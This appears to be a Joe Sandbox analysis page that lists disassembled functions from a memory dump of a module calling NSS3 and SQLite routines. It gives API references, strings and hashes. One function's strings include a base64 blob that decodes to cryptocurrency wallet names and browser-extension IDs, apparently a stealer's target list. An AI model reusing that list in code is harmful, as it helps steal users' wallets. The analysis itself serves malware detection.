unicode61, xrefs: 6CB6EDB5
fts4aux, xrefs: 6CB6ECF9
fts3_tokenizer, xrefs: 6CB6EE1A, 6CB6EEA8
fts4, xrefs: 6CB6F2AD

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 9e41b65d16e1627c0c2b5168759d34ae594f5089f57085b7356c0703305fb570
Instruction ID: 03a2266411d00fa63874b5998be5fcde048ee37a96cc1c91b0aba5777f8edd40
Opcode Fuzzy Hash: 9e41b65d16e1627c0c2b5168759d34ae594f5089f57085b7356c0703305fb570
Instruction Fuzzy Hash: 6A02BFB2B043814BE704AF62D88572F77B6ABC5708F14893CD85A97F00EB74E946C792

Function 6CBE7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CBE7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBE7D1E

Part of subcall function 6CBE7870: SECOID_FindOID_Util.NSS3(?,?,?,6CBE91C5), ref: 6CBE788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBE7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CBE7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CBE7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBE7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CBE7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CBE7E58

Part of subcall function 6CBE7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBE91C5), ref: 6CBE78BB
Part of subcall function 6CBE7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CBE91C5), ref: 6CBE78FA
Part of subcall function 6CBE7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CBE91C5), ref: 6CBE7930
Part of subcall function 6CBE7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE91C5), ref: 6CBE7951
Part of subcall function 6CBE7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBE7964
Part of subcall function 6CBE7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBE797A
Part of subcall function 6CBE7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CBE7988
Part of subcall function 6CBE7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CBE7998
Part of subcall function 6CBE7870: free.MOZGLUE(00000000), ref: 6CBE79A7
Part of subcall function 6CBE7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CBE91C5), ref: 6CBE79BB
Part of subcall function 6CBE7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CBE91C5), ref: 6CBE79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBE7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBE7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CBE7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBE7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CBE7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CBE8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CBE8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CBE8093
SECOID_FindOID_Util.NSS3 ref: 6CBE7F29

Part of subcall function 6CBE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB88298,?,?,?,6CB7FCE5,?), ref: 6CBE07BF
Part of subcall function 6CBE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBE07E6
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE081B
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CBE8072
SECOID_FindOID_Util.NSS3 ref: 6CBE80F5

Part of subcall function 6CBEBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CBE800A,00000000,?,00000000,?), ref: 6CBEBC3F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: b022cf199161edf6473541351de3d38a6c00d3a20e8f561d9514ae2269405c4b
Instruction ID: 07b583774a3ce3a136505cdaae9d461dc5ef376a63c6ff8352ff0a7d0f906c4f
Opcode Fuzzy Hash: b022cf199161edf6473541351de3d38a6c00d3a20e8f561d9514ae2269405c4b
Instruction Fuzzy Hash: A3E1A5716087809FD710CF28D840B5A77E9EF48B88F14496DE885ABB52E772EC05CB93

Function 6CB71C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CB71C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CB71C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CB71CA1
GetLengthSid.ADVAPI32(?), ref: 6CB71CA9
malloc.MOZGLUE(00000000), ref: 6CB71CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CB71CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CB71CE4
GetLengthSid.ADVAPI32(?), ref: 6CB71CEC
malloc.MOZGLUE(00000000), ref: 6CB71CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CB71D0F
CloseHandle.KERNEL32(?), ref: 6CB71D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CB71D4D
GetLastError.KERNEL32 ref: 6CB71D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CB71D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CB71D7A

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 2b9d226104424f90f827f837f9e29e56fa77fa8b0da2bb24c03d9052baf2f194
Instruction ID: 9220144229437230a09c8f7a67d6b79bdaf755c0cd59496b2198aa1d5a5bfd22
Opcode Fuzzy Hash: 2b9d226104424f90f827f837f9e29e56fa77fa8b0da2bb24c03d9052baf2f194
Instruction Fuzzy Hash: 833166B5A00218AFDF10DF64CD48BAA7BB8FF4A345F0441A5FA09D2151EB30A9D4CF65

Function 6CB7EF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB7EF63

Part of subcall function 6CB887D0: PORT_NewArena_Util.NSS3(00000800,6CB7EF74,00000000), ref: 6CB887E8
Part of subcall function 6CB887D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CB7EF74,00000000), ref: 6CB887FD
Part of subcall function 6CB887D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB8884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CB7F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB7F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CB7F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CB7F374
PL_strcasecmp.NSS3(6CCC2FD4,?), ref: 6CB7F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CB7F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CB7F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB7F67D
CERT_DestroyName.NSS3(?), ref: 6CB7F68B

Part of subcall function 6CB88320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CB88338
Part of subcall function 6CB88320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CB88364
Part of subcall function 6CB88320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CB8838E
Part of subcall function 6CB88320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB883A5
Part of subcall function 6CB88320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB883E3

Part of subcall function 6CB884C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CB884D9
Part of subcall function 6CB884C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB88528

Part of subcall function 6CB88900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CB88955

Strings

*, xrefs: 6CB7F3C6
mZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJva, xrefs: 6CB7EFC1, 6CB7F014, 6CB7F07F, 6CB7F0AD, 6CB7F23A, 6CB7F264, 6CB7F5CC
oid., xrefs: 6CB7F2CF
", xrefs: 6CB7F21B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$mZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJva$oid.
API String ID: 4161946812-254940069
Opcode ID: 86143f416368119e573de195758a62c7d14e95e87bf59fa960e491245656f06a
Instruction ID: 927f00ba21acc73d630c8ac3945bf2ffad8e08e2d90631bfed33a62a038cc490
Opcode Fuzzy Hash: 86143f416368119e573de195758a62c7d14e95e87bf59fa960e491245656f06a
Instruction Fuzzy Hash: F722077160C3C18BD724CE68C49076AB7E6EB85318F184A2EECA587B91E731DC45C76B

Function 6CB73D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB73DFB
__allrem.LIBCMT ref: 6CB73EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB73FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB74047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB740DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB7415F
__allrem.LIBCMT ref: 6CB7416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB74288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB742AB
__allrem.LIBCMT ref: 6CB742B7

Strings

%02d, xrefs: 6CB74086
%03d, xrefs: 6CB742E8
%lld, xrefs: 6CB73FB2
%04d, xrefs: 6CB7407B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 92f998e7d26b0db359ad1ad05e9eb35e940ff1c9a8f648a062e11cc79623cd1d
Instruction ID: d3e347693b1137bd94c14e7c9724d31305f31c18b202a75d12f1716ccacb9ecf
Opcode Fuzzy Hash: 92f998e7d26b0db359ad1ad05e9eb35e940ff1c9a8f648a062e11cc79623cd1d
Instruction Fuzzy Hash: FCF1F271A087809FD725CF38C841A6BB7FAEF85344F148A2DF8A597A51E730D8458F52

Function 6CB21C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB21D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB21EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CB21FB7

Strings

abort due to ROLLBACK, xrefs: 6CB22223
another row available, xrefs: 6CB22287
sqlite_master, xrefs: 6CB21C61
attached databases must use the same text encoding as main database, xrefs: 6CB220CA
unknown error, xrefs: 6CB22291
table, xrefs: 6CB21C8B
sqlite_temp_master, xrefs: 6CB21C5C
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CB21F83
unsupported file format, xrefs: 6CB22188
no more rows available, xrefs: 6CB22264

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 268d6273c6d8afe2a3ee2e020282db9f3480041b8e20147087f97ccfe4d304d7
Instruction ID: f55b2702382d53ddf87aca56ab60184d2157bd96a33f4282fc9dbb029a683a87
Opcode Fuzzy Hash: 268d6273c6d8afe2a3ee2e020282db9f3480041b8e20147087f97ccfe4d304d7
Instruction Fuzzy Hash: FF129E706083818FD715CF19C484A6AB7E2FF85328F18895DE8999BB51D736EC46CB83

Function 6CB45F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

ON clause references tables to its right, xrefs: 6CB46BEC
NOCASE, xrefs: 6CB48703
-, xrefs: 6CB462F9
u, xrefs: 6CB481DA
BINARY, xrefs: 6CB48708, 6CB48737, 6CB487B8
2, xrefs: 6CB465B4
sub-select returns %d columns - expected %d, xrefs: 6CB4805F
-, xrefs: 6CB46228

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 735d6e8a5cc5768d86b71f7a78a0c4532bb2678167dce94034bfef555f8ea419
Instruction ID: 44461efe709bc4dc91ecaf6077540ace8afda0bb0834e89bfc6f5ee8a5fabebf
Opcode Fuzzy Hash: 735d6e8a5cc5768d86b71f7a78a0c4532bb2678167dce94034bfef555f8ea419
Instruction Fuzzy Hash: 11439174A0C3818FD704CF18C490A5AB7E2FF89318F14C66DE8999B75AD771E846DB82

Function 6CBEEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBEDAE2,?), ref: 6CBEC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBEF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBEF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CBEF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBEF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CCB218C), ref: 6CBEF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CBEF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBEF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBEF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CBEF210

Part of subcall function 6CB952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CBEF1E9,?,00000000,?,?), ref: 6CB952F5
Part of subcall function 6CB952D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CB9530F
Part of subcall function 6CB952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CB95326
Part of subcall function 6CB952D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CBEF1E9,?,00000000,?,?), ref: 6CB95340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBEF227

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CBEF23E

Part of subcall function 6CBDBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB8E708,00000000,00000000,00000004,00000000), ref: 6CBDBE6A
Part of subcall function 6CBDBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB904DC,?), ref: 6CBDBE7E
Part of subcall function 6CBDBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBDBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBEF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBEF3A8

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBEF3B3

Part of subcall function 6CB92D20: PK11_DestroyObject.NSS3(?,?), ref: 6CB92D3C
Part of subcall function 6CB92D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB92D5F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 746adca5b2d4e05a74665fb0ce724a4b490bb123cea971e5683be9588a83b91f
Instruction ID: c23aee10fab28407ffda44fee9011579a35d3a7c4ee1fcdb3c8f56aa9aa1beae
Opcode Fuzzy Hash: 746adca5b2d4e05a74665fb0ce724a4b490bb123cea971e5683be9588a83b91f
Instruction Fuzzy Hash: 97D1AEB6E016459FEB10CFA9E880A9EB7F5EF4C788F158029E815A7711EB31EC05CB51

Function 6CC1DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CBF7FFA,00000000,?,6CC223B9,00000002,00000000,?,6CBF7FFA,00000002), ref: 6CC1DE33

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

Part of subcall function 6CC1D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CC1DE74,6CBF7FFA,00000002,?,?,?,?,?,00000000,6CBF7FFA,00000000,?,6CC223B9,00000002), ref: 6CC1D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CBF7FFA,00000000,?,6CC223B9,00000002,00000000,?,6CBF7FFA,00000002), ref: 6CC1DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CC1DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC1E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC1E121
PK11_FreeSymKey.NSS3(?), ref: 6CC1E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CC1E195
PR_GetCurrentThread.NSS3 ref: 6CC1E1FC

Part of subcall function 6CC12460: PR_SetError.NSS3(FFFFE005,00000000,6CCB7379,00000002,?), ref: 6CC12493

Strings

handshake data, xrefs: 6CC1DFF7
application data, xrefs: 6CC1DFE0
key, xrefs: 6CC1E046
early application data, xrefs: 6CC1DFC9

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 0631c645a33b19728a5455822e085ba2b2330b20a340fab9950c8d5f7f204056
Instruction ID: dd8a1ce1eb380aaa802d4c273dd462e5dd6ad387652e93da48deee65f0e0aaa7
Opcode Fuzzy Hash: 0631c645a33b19728a5455822e085ba2b2330b20a340fab9950c8d5f7f204056
Instruction Fuzzy Hash: AAC11671A042159FDB04CF66CC84BAAB7B4FF09318F148128E909EBE51F331E955DBA1

Function 6CB0ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CB0EF98

